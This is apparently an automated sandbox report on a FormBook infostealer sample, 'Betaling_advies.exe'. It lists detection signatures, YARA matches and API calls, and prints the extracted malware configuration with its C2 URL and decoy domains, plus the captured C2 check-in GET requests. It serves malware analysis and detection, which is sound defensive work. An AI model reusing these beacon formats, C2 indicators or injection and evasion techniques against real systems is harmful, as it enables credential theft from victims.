Analysis Report Betaling_advies.exe

Overview

General Information

Sample Name: Betaling_advies.exe
Analysis ID: 383925
MD5: 5011945cdee260fb8688b06568d007b3
SHA1: c0e27a58017d0cf737b86ff3ced063d120f7badd
SHA256: 96bd9ed85e93c31a337a92e99fd6e1966f68f1a28fef43a21da725c36405988c
Tags: exeFormbookgeoNLD
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
C2 URLs / IPs found in malware configuration
Contains functionality to prevent local Windows debugging
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect virtualization through RDTSC time measurements
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://www.specstrii.com/hw6d/?DnbLu=IiUUmeNwmzZIwBY6jv8olF4RAcLcRfzkTrlXtYyMQXecYFYW1rp8TEFuPJqz5eLrlk+J&EzuxZl=3fX4qpLxXJu Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.werealestatephotography.com/hw6d/"], "decoy": ["medicare101now.com", "danahillathletics.com", "realjobexpert.com", "boulderhalle-hamburg.com", "idoweddinghair.com", "awdcompanies.com", "thevillaflora.com", "neutrasystems.com", "allwest-originals.com", "designtehengsg.com", "thenewyorker.computer", "ladybugtubs.com", "silina-beauty24.com", "mifangtu.com", "fashionbranddeveloper.com", "istanbulhookah.com", "askyoyo.com", "osaka-computer.net", "conegenie.com", "agteless.com", "carsoncredittx.com", "wellalytics.com", "onjulitrading.com", "thelocallawnmen.com", "loanascustomboutique.com", "ohcaftanmycaftan.com", "ardor-fitness.com", "benzinhayvancilik.com", "apthaiproperty.com", "maxim.technology", "dfch18.com", "davaoaffordablecondo.com", "sueshemp.com", "missmaltese.com", "lakecountrydems.com", "lastminuteminister.com", "sofiascelebrations.com", "socialaspecthouston.com", "rechnung.pro", "kathyscrabhouse.com", "themusasoficial.com", "reversemortgageloanmiami.com", "vrventurebsp.com", "whatalode.com", "xh03.net", "qiqihao.site", "specstrii.com", "organicfarmteam.com", "codebinnovations.net", "kizunaservice.com", "lboclkchain.com", "frorool.com", "dpok.network", "desafogados.com", "vestblue.net", "forguyshere.com", "recordprosperity.info", "theballoonbirds.com", "adityabirla-loan.com", "midgex.info", "qishuxia.com", "panopticop.com", "gd-kangda.com", "hotelbrainclub.com"]}
Multi AV Scanner detection for submitted file
Source: Betaling_advies.exe ReversingLabs: Detection: 14%
Yara detected FormBook
Source: Yara match File source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.691540714.00000000009C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.654811569.0000000002680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.910277347.0000000002530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.690806042.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.692667485.0000000000D40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.909643904.0000000000320000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0.2.Betaling_advies.exe.2680000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Betaling_advies.exe.2680000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE
Antivirus or Machine Learning detection for unpacked file
Source: 7.2.colorcpl.exe.4bd7960.5.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 7.2.colorcpl.exe.2972508.2.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.Betaling_advies.exe.2680000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.2.Betaling_advies.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.1.Betaling_advies.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: Betaling_advies.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: Binary string: C:\xampp\htdocs\Cryptor\74d81a217a414a2aaee1ac9ce14525a2\Loader\Loader\Release\22ct3mhbr.pdb source: Betaling_advies.exe, 00000000.00000002.654453331.0000000000788000.00000004.00020000.sdmp, 571kzkbal.dll.0.dr
Source: Binary string: colorcpl.pdbGCTL source: Betaling_advies.exe, 00000001.00000002.692704063.0000000000D70000.00000040.00000001.sdmp
Source: Binary string: colorcpl.pdb source: Betaling_advies.exe, 00000001.00000002.692704063.0000000000D70000.00000040.00000001.sdmp
Source: Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.666885783.0000000005A00000.00000002.00000001.sdmp
Source: Binary string: wntdll.pdbUGP source: Betaling_advies.exe, 00000000.00000003.646799474.000000001EEB0000.00000004.00000001.sdmp, Betaling_advies.exe, 00000001.00000002.692105049.0000000000B2F000.00000040.00000001.sdmp, colorcpl.exe, 00000007.00000002.910878162.00000000047BF000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: Betaling_advies.exe, colorcpl.exe
Source: Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.666885783.0000000005A00000.00000002.00000001.sdmp
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_00405301 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA, 0_2_00405301
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_00405C94 SetErrorMode,SetErrorMode,FindFirstFileA,SetErrorMode,FindClose, 0_2_00405C94
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_004026BC FindFirstFileA, 0_2_004026BC

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49756 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49763 -> 52.128.23.153:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49763 -> 52.128.23.153:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49763 -> 52.128.23.153:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 156.241.53.253:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 156.241.53.253:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49771 -> 156.241.53.253:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.werealestatephotography.com/hw6d/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=9ueW5jgNjqHYG2FKt2LGoCq6SuP7mnM61J0YxzvwfvA6U9wxZN+9uCYbtAS/FF4JJope&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.allwest-originals.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=g+1Vjsk4w8x2RD/Kt8Hxup0r2HreN3Gf6VbT6qUlKeSViUJ1r397pmudv9cb4ekjB+95&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.kathyscrabhouse.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=Vm8u5YrjxPUHM0A3kvgMiq/IEeemHw6XN/VHMXEVDOFWtOJ88rOTM1/2OfHHahCysW3o&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.ladybugtubs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=D7dtfgb1ASpTWXzDTTkBm63TDYSh3Sz8xx3t4TS2wXC5rygslUZX2+E35rBVQjv7JKAU&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.organicfarmteam.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=eQ0CjYjVQ3ZWFLT9z9t5AWcWjesy46k9o3/PiW4fNWDoBcoO4PdNNvWWcbIpStJgY1Xn&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.neutrasystems.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=IiUUmeNwmzZIwBY6jv8olF4RAcLcRfzkTrlXtYyMQXecYFYW1rp8TEFuPJqz5eLrlk+J&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.specstrii.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=k1LpsGxm5HumkAXpmo5e4u//lFYytVV7DtC0wIWjSrCd2GK6ua7omZNXnIaR8+O4hW3P&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.boulderhalle-hamburg.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=Y1unV92ZJUSuuBS+wJtUBQ3HA2/A73jU4dZUG/XKFhicVa7REK6SIV0eE0B/9G03nb8G&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.thenewyorker.computerConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=JJCdylcTzsLZbxD+F44msifm3t5O58VGmPPtm/HjqScxgR1v9JyEBvOVGIsgPNAdlWCx&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.osaka-computer.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=um+iqA/SlswPLY/3czDk0wl6oY0PgWYbosSPlOYlzmcZrAL5djGLa7ExvPa80BRt3GVX&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.werealestatephotography.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=PD6zFQZ0feRnIFnqRgwh7WYr9HBCLrLQfeEKpwQ3SsDBQ385jeUvmpjltj5zrHZAx7on&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.dfch18.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 198.54.117.218 198.54.117.218
Source: Joe Sandbox View IP Address: 52.128.23.153 52.128.23.153
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: DOSARRESTUS DOSARRESTUS
Source: Joe Sandbox View ASN Name: NOCIXUS NOCIXUS
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=9ueW5jgNjqHYG2FKt2LGoCq6SuP7mnM61J0YxzvwfvA6U9wxZN+9uCYbtAS/FF4JJope&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.allwest-originals.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=g+1Vjsk4w8x2RD/Kt8Hxup0r2HreN3Gf6VbT6qUlKeSViUJ1r397pmudv9cb4ekjB+95&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.kathyscrabhouse.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=Vm8u5YrjxPUHM0A3kvgMiq/IEeemHw6XN/VHMXEVDOFWtOJ88rOTM1/2OfHHahCysW3o&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.ladybugtubs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=D7dtfgb1ASpTWXzDTTkBm63TDYSh3Sz8xx3t4TS2wXC5rygslUZX2+E35rBVQjv7JKAU&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.organicfarmteam.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=eQ0CjYjVQ3ZWFLT9z9t5AWcWjesy46k9o3/PiW4fNWDoBcoO4PdNNvWWcbIpStJgY1Xn&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.neutrasystems.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=IiUUmeNwmzZIwBY6jv8olF4RAcLcRfzkTrlXtYyMQXecYFYW1rp8TEFuPJqz5eLrlk+J&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.specstrii.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=k1LpsGxm5HumkAXpmo5e4u//lFYytVV7DtC0wIWjSrCd2GK6ua7omZNXnIaR8+O4hW3P&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.boulderhalle-hamburg.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=Y1unV92ZJUSuuBS+wJtUBQ3HA2/A73jU4dZUG/XKFhicVa7REK6SIV0eE0B/9G03nb8G&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.thenewyorker.computerConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=JJCdylcTzsLZbxD+F44msifm3t5O58VGmPPtm/HjqScxgR1v9JyEBvOVGIsgPNAdlWCx&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.osaka-computer.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=um+iqA/SlswPLY/3czDk0wl6oY0PgWYbosSPlOYlzmcZrAL5djGLa7ExvPa80BRt3GVX&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.werealestatephotography.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /hw6d/?DnbLu=PD6zFQZ0feRnIFnqRgwh7WYr9HBCLrLQfeEKpwQ3SsDBQ385jeUvmpjltj5zrHZAx7on&EzuxZl=3fX4qpLxXJu HTTP/1.1Host: www.dfch18.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown DNS traffic detected: queries for: www.allwest-originals.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 08 Apr 2021 10:39:11 GMTServer: Apache/2.4.46 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000004.00000000.655043939.0000000002B50000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: colorcpl.exe, 00000007.00000002.911472356.0000000004D52000.00000004.00000001.sdmp String found in binary or memory: http://www.litespeedtech.com/error-page
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000004.00000000.672320729.000000000B976000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: colorcpl.exe, 00000007.00000002.911472356.0000000004D52000.00000004.00000001.sdmp String found in binary or memory: https://www.werealestatephotography.com/hw6d/?DnbLu=um

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 0_2_00404EA0 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,lstrlenA,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00404EA0

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.691540714.00000000009C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.654811569.0000000002680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.910277347.0000000002530000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.690806042.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.692667485.0000000000D40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.909643904.0000000000320000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0.2.Betaling_advies.exe.2680000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.Betaling_advies.exe.2680000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000001.650199576.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.691540714.00000000009C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.691540714.00000000009C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.654811569.0000000002680000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.654811569.0000000002680000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.910277347.0000000002530000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.910277347.0000000002530000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.690806042.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.690806042.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.692667485.0000000000D40000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.692667485.0000000000D40000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.909643904.0000000000320000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.909643904.0000000000320000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Betaling_advies.exe.2680000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.Betaling_advies.exe.2680000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Betaling_advies.exe.2680000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.Betaling_advies.exe.2680000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.Betaling_advies.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.Betaling_advies.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Contains functionality to call native functions
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_004181B0 NtCreateFile, 1_2_004181B0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00418260 NtReadFile, 1_2_00418260
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_004182E0 NtClose, 1_2_004182E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00418390 NtAllocateVirtualMemory, 1_2_00418390
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_004181AA NtCreateFile, 1_2_004181AA
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_004182DA NtClose, 1_2_004182DA
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A798F0 NtReadVirtualMemory,LdrInitializeThunk, 1_2_00A798F0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79860 NtQuerySystemInformation,LdrInitializeThunk, 1_2_00A79860
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A79840 NtDelayExecution,LdrInitializeThunk, 1_2_00A79840
